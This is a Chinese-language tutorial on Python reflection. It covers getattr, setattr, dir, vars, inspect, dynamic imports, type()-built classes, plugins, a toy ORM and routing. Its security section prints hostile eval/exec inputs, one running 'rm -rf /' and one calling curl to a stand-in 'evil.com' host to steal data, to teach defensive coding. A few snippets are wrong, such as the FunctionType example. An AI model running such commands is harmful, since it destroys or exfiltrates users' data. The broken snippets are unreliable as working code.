Python 反射机制详解：核心函数、高级用法与实战

Python 反射机制详解：核心函数、高级用法与实战

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1. 什么是反射（Reflection）

1.1 定义与核心概念

反射（Reflection） 是指程序在运行时能够：

• 检查（inspect）对象的类型、属性、方法
• 访问（access）对象的属性和方法
• 修改（modify）对象的属性和方法
• 调用（invoke）对象的方法

简单来说：反射 = 运行时的动态操作能力

1.2 Python 中反射的特点

Python 是一门动态类型语言，天然支持反射：

特性	说明
动态类型	变量类型在运行时确定
一切皆对象	类、函数、模块都是对象
内置反射函数	getattr, setattr, hasattr 等
丰富的元数据	__dict__, __class__, __module__ 等

1.3 反射 vs 内省

概念	定义	示例
内省（Introspection）	只读取对象信息，不修改	type(), dir(), isinstance()
反射（Reflection）	读取 + 修改 + 调用	getattr(), setattr(), delattr()

结论：内省是反射的子集，Python 两者都支持。

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2. 为什么需要反射

2.1 动态性的价值

反射使代码更加灵活和可扩展：

# 静态方式：硬编码
if action == "create":
    obj.create()
elif action == "update":
    obj.update()
elif action == "delete":
    obj.delete()

# 反射方式：动态调用
method = getattr(obj, action)
method()

优势：

• 减少 if-else 分支
• 易于扩展新功能（无需修改代码）
• 适合插件化架构

2.2 典型应用场景

场景	说明	示例
框架开发	自动路由、ORM 映射	Django, Flask, SQLAlchemy
插件系统	动态加载第三方模块	Pytest 插件机制
序列化	对象 ↔ JSON/XML/DB	json.dumps(), Pickle
配置驱动	根据配置文件动态创建对象	工厂模式
测试框架	自动发现测试用例	unittest, pytest
调试工具	运行时查看对象状态	pdb, ipdb

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3. 核心函数与用法

3.1 getattr() - 获取属性/方法

语法：

getattr(object, name[, default])

功能：

• 根据字符串名称获取对象的属性或方法
• 若属性不存在，返回 default（若未提供则抛出 AttributeError）

示例：

class Person:
    def __init__(self, name, age):
        self.name = name
        self.age = age

    def greet(self):
        return f"Hello, I'm {self.name}"

p = Person("Alice", 30)

# 获取属性
name = getattr(p, "name")  # "Alice"
salary = getattr(p, "salary", 0)  # 不存在，返回默认值 0

# 获取方法
greet_func = getattr(p, "greet")
print(greet_func())  # "Hello, I'm Alice"

# 动态调用
attr_name = input("输入属性名：")  # 用户输入 "age"
value = getattr(p, attr_name, None)
print(value)  # 30

等价写法：

# getattr(obj, "name") 等价于 obj.name
# 静态访问 obj.__dict__["name"] 字典访问

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3.2 setattr() - 设置属性

语法：

setattr(object, name, value)

功能：

• 动态设置对象的属性值
• 若属性不存在，则创建新属性

示例：

class Config:
    pass

config = Config()

# 动态设置属性
setattr(config, "host", "localhost")
setattr(config, "port", 8080)
print(config.host)  # "localhost"
print(config.port)  # 8080

# 批量设置
settings = {"debug": True, "timeout": 30}
for key, value in settings.items():
    setattr(config, key, value)
print(config.debug)  # True

等价写法：

# setattr(obj, "name", value) 等价于 obj.name = value
obj.__dict__["name"] = value

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3.3 hasattr() - 检查属性是否存在

语法：

hasattr(object, name)

功能：

• 判断对象是否有某个属性/方法
• 返回 True 或 False

示例：

class Dog:
    def __init__(self, name):
        self.name = name

    def bark(self):
        return "Woof!"

dog = Dog("Buddy")
print(hasattr(dog, "name"))  # True
print(hasattr(dog, "age"))  # False
print(hasattr(dog, "bark"))  # True

# 安全的属性访问
if hasattr(dog, "age"):
    print(dog.age)
else:
    print("Dog has no age attribute")

内部实现：

# hasattr 等价于
try:
    getattr(obj, name)
    return True
except AttributeError:
    return False

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3.4 delattr() - 删除属性

语法：

delattr(object, name)

功能：

• 删除对象的属性
• 若属性不存在，抛出 AttributeError

示例：

class User:
    def __init__(self, username, password):
        self.username = username
        self.password = password

user = User("admin", "secret123")

# 删除敏感属性
delattr(user, "password")
print(hasattr(user, "password"))  # False

# 等价写法
del user.username

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3.5 dir() - 列出所有属性和方法

语法：

dir([object])

功能：

• 返回对象的所有属性和方法的名称列表
• 包括继承的属性和魔法方法

示例：

class MyClass:
    class_var = "I'm a class variable"

    def __init__(self):
        self.instance_var = "I'm an instance variable"

    def my_method(self):
        pass

obj = MyClass()

# 查看所有属性和方法
print(dir(obj))  # ['__class__', '__delattr__', '__dict__', ..., 'class_var', 'instance_var', 'my_method']

# 过滤出用户定义的属性
user_attrs = [attr for attr in dir(obj) if not attr.startswith("_")]
print(user_attrs)  # ['class_var', 'instance_var', 'my_method']

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3.6 vars() - 返回对象的 __dict__

语法：

vars([object])

功能：

• 返回对象的 __dict__ 属性（属性字典）
• 不包括方法和类属性（仅实例属性）

示例：

class Book:
    category = "fiction"  # 类属性

    def __init__(self, title, author):
        self.title = title
        self.author = author

book = Book("1984", "Orwell")
print(vars(book))  # {'title': '1984', 'author': 'Orwell'}
print(book.__dict__)  # 等价

# 修改属性
vars(book)["price"] = 19.99
print(book.price)  # 19.99

注意：

• vars() 只返回实例属性
• 类属性需要通过 vars(MyClass) 或 MyClass.__dict__ 获取

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3.7 其他常用函数

函数	功能	示例
type(obj)	获取对象的类型	type(123) → <class 'int'>
isinstance(obj, class)	判断对象是否是某类的实例	isinstance([], list) → True
callable(obj)	判断对象是否可调用	callable(print) → True
id(obj)	获取对象的内存地址	id("hello")

综合示例：

def process_object(obj):
    print(f"类型：{type(obj)}")
    print(f"ID: {id(obj)}")
    print(f"是否可调用：{callable(obj)}")
    print(f"属性列表：{[a for a in dir(obj) if not a.startswith('_')]}")

process_object(lambda x: x * 2)  # 类型：<class 'function'>
                                 # 是否可调用：True
                                 # 属性列表：['__annotations__', '__call__', ...]

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4. 对象属性访问机制

4.1 __dict__ 属性字典

核心概念：

• Python 对象的属性存储在 __dict__ 字典中
• 键是属性名（字符串），值是属性值

示例：

class Point:
    def __init__(self, x, y):
        self.x = x
        self.y = y

p = Point(10, 20)
print(p.__dict__)  # {'x': 10, 'y': 20}

# 直接修改 __dict__
p.__dict__["z"] = 30
print(p.z)  # 30

# 动态添加属性
p.color = "red"
print(p.__dict__)  # {'x': 10, 'y': 20, 'z': 30, 'color': 'red'}

类属性 vs 实例属性：

class Counter:
    count = 0  # 类属性

    def __init__(self, name):
        self.name = name  # 实例属性

c1 = Counter("A")
c2 = Counter("B")
print(c1.__dict__)  # {'name': 'A'}
print(Counter.__dict__["count"])  # 0

# 修改类属性
Counter.count = 10
print(c1.count)  # 10（通过继承访问）
print(c2.count)  # 10

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4.2 __slots__ 限制属性

问题：__dict__ 占用内存，对于大量实例不友好

解决方案：使用 __slots__ 预定义属性

示例：

class Point2D:
    __slots__ = ["x", "y"]  # 只允许这两个属性

    def __init__(self, x, y):
        self.x = x
        self.y = y

p = Point2D(5, 10)

# 无法动态添加新属性
try:
    p.z = 15
except AttributeError as e:
    print(e)  # 'Point2D' object has no attribute 'z'

# 没有 __dict__
print(hasattr(p, "__dict__"))  # False

对比：

特性	__dict__	__slots__
内存占用	较大（每个实例一个字典）	较小（固定大小）
动态属性	支持	不支持
访问速度	稍慢	稍快
适用场景	灵活的对象	大量相同结构的实例

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4.3 属性查找顺序（MRO）

查找流程：

1. 实例的 __dict__
2. 类的 __dict__
3. 父类的 __dict__（按 MRO 顺序）
4. 抛出 AttributeError

示例：

class Animal:
    species = "Unknown"

class Dog(Animal):
    species = "Canine"

dog = Dog()
dog.species = "My Dog"
print(dog.species)  # "My Dog"（实例属性优先）
del dog.species
print(dog.species)  # "Canine"（类属性）
Dog.species = "Deleted"
print(dog.species)  # "Deleted"

查看 MRO：

print(Dog.__mro__)  # (<class '__main__.Dog'>, <class '__main__.Animal'>, <class 'object'>)

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5. 高级反射技术

5.1 inspect 模块深入

inspect 模块提供了更强大的反射功能：

5.1.1 检查函数签名

import inspect

def greet(name: str, age: int = 18, *, city: str = "Beijing") -> str:
    return f"{name}, {age}, from {city}"

# 获取签名
sig = inspect.signature(greet)
print(sig)  # (name: str, age: int = 18, *, city: str = 'Beijing') -> str

# 获取参数信息
for param_name, param in sig.parameters.items():
    print(f"{param_name}: {param.annotation}, 默认值={param.default}")

5.1.2 检查类和对象

import inspect

class MyClass:
    def method(self):
        pass

# 判断是否是类
print(inspect.isclass(MyClass))  # True

# 判断是否是函数
print(inspect.isfunction(MyClass.method))  # True

# 判断是否是方法
obj = MyClass()
print(inspect.ismethod(obj.method))  # True

# 获取类的所有成员
members = inspect.getmembers(MyClass)
for name, value in members:
    if not name.startswith("_"):
        print(f"{name}: {value}")

5.1.3 获取源代码

import inspect

def fibonacci(n):
    """计算斐波那契数列"""
    if n <= 1:
        return n
    return fibonacci(n-1) + fibonacci(n-2)

# 获取函数源代码
source = inspect.getsource(fibonacci)
print(source)

# 获取文档字符串
doc = inspect.getdoc(fibonacci)
print(doc)  # "计算斐波那契数列"

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5.2 动态导入模块

方式一：使用 __import__()

# 传统方式
import math

# 动态导入
module_name = "math"
math_module = __import__(module_name)
print(math_module.pi)  # 3.141592653589793

方式二：使用 importlib（推荐）

import importlib

# 动态导入模块
module_name = "json"
json_module = importlib.import_module(module_name)
data = json_module.dumps({"key": "value"})
print(data)  # '{"key": "value"}'

# 重新加载模块（开发中调试用）
importlib.reload(json_module)

实战：插件系统

import importlib
import os

def load_plugins(plugin_dir):
    """动态加载插件目录下的所有插件"""
    plugins = []
    for filename in os.listdir(plugin_dir):
        if filename.endswith(".py") and not filename.startswith("_"):
            module_name = filename[:-3]  # 去掉 .py
            module = importlib.import_module(f"plugins.{module_name}")
            plugins.append(module)
    return plugins

# 使用
# plugins = load_plugins("./plugins")
# for plugin in plugins:
#     plugin.run()

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5.3 动态创建类和函数

5.3.1 使用 type() 创建类

基础语法：

# 正常定义类
class MyClass:
    x = 10

# 使用 type() 动态创建
MyClass2 = type("MyClass2", (object,), {"x": 10})
print(MyClass2.x)  # 10

完整示例：

# 定义方法
def greet(self):
    return f"Hello from {self.name}"

def __init__(self, name):
    self.name = name

# 动态创建类
Person = type("Person",
              (object,),  # 父类元组
              {
                  # 类属性和方法
                  "__init__": __init__,
                  "greet": greet,
                  "species": "Human"
              })

# 使用动态创建的类
p = Person("Alice")
print(p.greet())  # "Hello from Alice"
print(p.species)  # "Human"

5.3.2 使用 types.FunctionType 创建函数

import types

# 创建函数
code = compile("return x + y", "<string>", "eval")
add_func = types.FunctionType(code, globals(), "add", (0, 0))
print(add_func(5, 3))  # 8

5.3.3 使用 exec() 动态执行代码

# 动态定义类
class_code = """
class Calculator:
    def add(self, a, b):
        return a + b
    def multiply(self, a, b):
        return a * b
"""
namespace = {}
exec(class_code, namespace)
Calculator = namespace["Calculator"]
calc = Calculator()
print(calc.add(10, 5))  # 15

⚠️ 安全警告：

• exec() 和 eval() 执行任意代码，存在安全风险
• 永远不要对用户输入使用 exec() 或 eval()

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6. 实战应用案例

6.1 插件系统

需求：根据配置文件动态加载不同的数据处理器

# plugins/csv_processor.py
class CsvProcessor:
    def process(self, data):
        return f"Processing CSV: {data}"

# plugins/json_processor.py
class JsonProcessor:
    def process(self, data):
        return f"Processing JSON: {data}"

# main.py
import importlib

def load_processor(processor_name):
    """动态加载处理器"""
    module = importlib.import_module(f"plugins.{processor_name.lower()}_processor")
    class_name = f"{processor_name.capitalize()}Processor"
    return getattr(module, class_name)

# 使用
config = {"processor": "json"}  # 从配置文件读取
ProcessorClass = load_processor(config["processor"])
processor = ProcessorClass()
print(processor.process("sample data"))  # "Processing JSON: sample data"

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6.2 ORM 框架原理（简化版）

需求：将对象属性映射到数据库字段

class Model:
    """简易 ORM 基类"""
    def save(self):
        """将对象保存到数据库（伪代码）"""
        table_name = self.__class__.__name__.lower()
        fields = []
        values = []

        # 反射获取所有属性
        for attr, value in vars(self).items():
            if not attr.startswith("_"):
                fields.append(attr)
                values.append(repr(value))

        sql = f"INSERT INTO {table_name} ({', '.join(fields)}) VALUES ({', '.join(values)})"
        print(f"执行 SQL: {sql}")
        return sql

class User(Model):
    def __init__(self, username, email):
        self.username = username
        self.email = email

# 使用
user = User("alice", "[email protected]")
user.save()  # 执行 SQL: INSERT INTO user (username, email) VALUES ('alice', '[email protected]')

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6.3 序列化/反序列化

需求：将对象转换为 JSON

import json

class Student:
    def __init__(self, name, age, grade):
        self.name = name
        self.age = age
        self.grade = grade

    def to_dict(self):
        """使用反射将对象转为字典"""
        return {k: v for k, v in vars(self).items() if not k.startswith("_")}

    @classmethod
    def from_dict(cls, data):
        """从字典创建对象"""
        return cls(**data)

# 序列化
student = Student("Bob", 15, "A")
json_str = json.dumps(student.to_dict())
print(json_str)  # '{"name": "Bob", "age": 15, "grade": "A"}'

# 反序列化
data = json.loads(json_str)
new_student = Student.from_dict(data)
print(new_student.name)  # "Bob"

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6.4 动态路由（Web 框架）

需求：根据 URL 自动调用对应的处理函数

class Router:
    def __init__(self):
        self.routes = {}

    def route(self, path):
        """装饰器：注册路由"""
        def decorator(func):
            self.routes[path] = func
            return func
        return decorator

    def dispatch(self, path, *args, **kwargs):
        """根据路径调用对应函数"""
        if path in self.routes:
            handler = self.routes[path]
            return handler(*args, **kwargs)
        else:
            return "404 Not Found"

# 使用
router = Router()

@router.route("/home")
def home():
    return "Welcome to Home Page"

@router.route("/about")
def about():
    return "About Us"

# 动态调用
print(router.dispatch("/home"))  # "Welcome to Home Page"
print(router.dispatch("/about"))  # "About Us"
print(router.dispatch("/404"))  # "404 Not Found"

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7. 性能与安全

7.1 反射的性能开销

实验对比：

import timeit

class MyClass:
    def __init__(self):
        self.value = 42

    def get_value(self):
        return self.value

obj = MyClass()

# 直接访问
def direct_access():
    return obj.value

# 反射访问
def reflection_access():
    return getattr(obj, "value")

# 性能测试
direct_time = timeit.timeit(direct_access, number=1000000)
reflection_time = timeit.timeit(reflection_access, number=1000000)
print(f"直接访问：{direct_time:.4f}s")
print(f"反射访问：{reflection_time:.4f}s")
print(f"反射慢了：{reflection_time / direct_time:.2f}x")  # 典型结果：反射慢 2-3 倍

结论：

• 反射比直接访问慢 2-5 倍
• 对于高频调用，考虑缓存或优化
• 对于配置加载、插件系统等低频场景，性能影响可忽略

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7.2 安全隐患

⚠️ 危险函数：eval() 和 exec()

问题：可执行任意 Python 代码

# 危险示例（永远不要这样做）
user_input = "__import__('os').system('rm -rf /')"
# 恶意代码
eval(user_input)  # 💀 系统被删除

# 攻击示例
user_input = "__import__('subprocess').call(['curl', 'evil.com/steal_data'])"
exec(user_input)  # 💀 数据泄露

安全替代方案：

import ast

# 方案 1: 使用 ast.literal_eval（仅支持字面量）
safe_data = ast.literal_eval("{'key': 'value', 'number': 123}")
print(safe_data)  # {'key': 'value', 'number': 123}

# 方案 2: 限制命名空间
safe_namespace = {"__builtins__": {}}
eval("1 + 1", safe_namespace)  # 安全
# eval("open('/etc/passwd')", safe_namespace)  # 报错

# 方案 3: 使用白名单
allowed_attrs = {"add", "subtract", "multiply"}
attr = "add"
if attr in allowed_attrs:
    method = getattr(calculator, attr)

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7.3 最佳实践

原则	说明	示例
最小权限	只暴露必要的属性和方法	使用 __slots__ 或属性验证
白名单	明确允许的操作，而非黑名单	if attr in ALLOWED: ...
输入验证	永远不要信任用户输入	检查类型、长度、格式
避免 eval/exec	使用 ast.literal_eval 或解析库	JSON: json.loads()
日志审计	记录反射操作	logging.info(f"Accessed {attr}")

安全的动态调用模式：

class SafeAPI:
    ALLOWED_METHODS = {"get_data", "save_data"}

    def get_data(self):
        return "data"

    def save_data(self, data):
        print(f"Saving: {data}")

    def _internal_method(self):
        """内部方法，不应被外部调用"""
        pass

    def execute(self, method_name, *args, **kwargs):
        """安全的动态调用"""
        # 1. 检查白名单
        if method_name not in self.ALLOWED_METHODS:
            raise ValueError(f"Method {method_name} not allowed")

        # 2. 检查方法是否存在
        if not hasattr(self, method_name):
            raise AttributeError(f"Method {method_name} not found")

        # 3. 获取并调用
        method = getattr(self, method_name)
        return method(*args, **kwargs)

# 使用
api = SafeAPI()
api.execute("get_data")  # ✅ 安全
# api.execute("_internal_method")  # ❌ 抛出异常

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8. 常见误区与对比

8.1 反射 vs 硬编码

场景	推荐方式	原因
固定的少量选项	硬编码（if-else）	性能更好，代码更清晰
大量可扩展的选项	反射	易于维护，可扩展
用户输入驱动	反射（带验证）	灵活，但需安全措施
性能关键路径	硬编码	避免反射开销

错误示例：

# ❌ 过度使用反射
def process(action):
    return getattr(self, action)()  # 危险！

# ✅ 合理的反射
ACTIONS = {"create", "update", "delete"}

def process(action):
    if action not in ACTIONS:
        raise ValueError("Invalid action")
    return getattr(self, action)()

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8.2 何时不应使用反射

情况	原因	替代方案
性能敏感	反射慢 2-5 倍	直接访问或缓存
固定逻辑	增加复杂度	硬编码
类型安全	运行时错误	静态类型检查（Type Hints）
安全关键	易被攻击	白名单 + 验证

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8.3 反射与其他语言对比

语言	反射支持	特点
Python	✅ 原生支持	动态类型，简单易用
Java	✅ java.lang.reflect	强类型，API 复杂
C++	❌ 无原生支持	可通过 RTTI 部分实现
Go	✅ reflect 包	性能较好，语法复杂
JavaScript	✅ 原生支持	动态类型，与 Python 类似

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9. 扩展阅读

9.1 相关主题

• 装饰器（Decorator）：使用反射实现的语法糖
• 元类（Metaclass）：类的类，更深层的反射
• 描述符（Descriptor）：@property 的底层机制
• 上下文管理器（Context Manager）：with 语句的反射应用

9.2 进阶学习资源

• 官方文档：Python Data Model
• 书籍：《Fluent Python》第五章 - 数据模型
• PEP：
  • PEP 252: Making Types Look More Like Classes
  • PEP 3115: Metaclasses in Python 3

9.3 实战项目

• Django ORM：研究其反射机制
• Flask 路由：分析装饰器和反射的结合
• Pytest：学习其插件发现机制

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总结

核心要点

1. 反射是什么：运行时检查、访问、修改对象的能力
2. 核心函数：getattr, setattr, hasattr, delattr, dir, vars
3. 高级工具：inspect 模块、动态导入、type() 创建类
4. 应用场景：插件系统、ORM、序列化、动态路由
5. 注意事项：性能开销、安全风险、避免滥用

学习检查清单

• 理解反射与内省的区别
• 熟练使用 getattr/setattr/hasattr/delattr
• 了解 __dict__ 和 __slots__ 的差异
• 掌握 inspect 模块的常用功能
• 能够实现简单的插件系统
• 理解反射的性能和安全问题
• 知道何时使用/不使用反射

实践建议

1. 小项目练习：实现一个配置驱动的任务调度器
2. 阅读源码：研究 Django、Flask 的反射使用
3. 性能测试：对比反射与直接访问的性能差异
4. 安全审计：检查项目中是否存在 eval/exec 的滥用

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附录：快速参考表

常用反射函数速查

# 获取属性
getattr(obj, "attr", default)

# 设置属性
setattr(obj, "attr", value)

# 检查属性
hasattr(obj, "attr")

# 删除属性
delattr(obj, "attr")

# 列出所有属性
dir(obj)

# 获取属性字典
vars(obj)  # 等价于 obj.__dict__

# 动态导入
import importlib
module = importlib.import_module("module_name")

# 动态创建类
MyClass = type("MyClass", (BaseClass,), {"attr": value})

# 获取函数签名
import inspect
inspect.signature(func)

安全检查模板

def safe_call(obj, method_name, *args, **kwargs):
    """安全的动态方法调用"""
    # 1. 白名单检查
    if method_name not in ALLOWED_METHODS:
        raise ValueError(f"Method {method_name} not allowed")

    # 2. 存在性检查
    if not hasattr(obj, method_name):
        raise AttributeError(f"Method {method_name} not found")

    # 3. 可调用性检查
    method = getattr(obj, method_name)
    if not callable(method):
        raise TypeError(f"{method_name} is not callable")

    # 4. 执行
    return method(*args, **kwargs)